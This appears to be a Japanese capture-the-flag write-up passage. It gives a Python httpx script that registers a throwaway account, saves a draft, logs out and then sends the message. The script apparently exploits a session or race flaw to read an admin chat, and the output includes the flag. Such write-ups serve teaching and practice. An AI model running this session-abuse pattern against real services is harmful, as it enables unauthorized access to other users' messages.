次のようなコードを用意した。ドラフトを作成してからログアウトし、すぐにメッセージを送信する。
import uuid
import httpx
u = str(uuid.uuid4())
p = str(uuid.uuid4())
c = 'best chat eva'
with httpx.Client(base_url='https://(省略)/') as client:
client.post('/api/register', json={'login': u, 'password': p})
client.post('/api/login', json={'login': u, 'password': p})
client.post('/api/set_draft', json={"chat":c,"draft":"rrrr"})
client.post('/api/logout')
r = client.post('/api/send_message', json={"chat":c,"draft":"rrrr"})
print(r, r.text)
一発ではうまくいかなかったが、何度か試すとフラグが得られた。
$ python3 s.py
<Response [200 OK]> {"error":""}
<Response [200 OK]> {}
<Response [200 OK]> {}
<Response [200 OK]> {"error":""}
<Response [200 OK]> {"messages":[{"author":"admin","content":"SAS{1_dr15t3d_t00_f4r_th1s_t1m3}"},{"author":"","content":"KKKK"},{"author":"","content":"kekos"},{"author":"","content":"123"},{"author":"","content":"test"},{"author":"","content":"aaa"},{"author":"","content":"This is a draft message."},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"hi"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"test"},{"author":"","content":"awdawd"}],"users":null}
SAS{1_dr15t3d_t00_f4r_th1s_t1m3}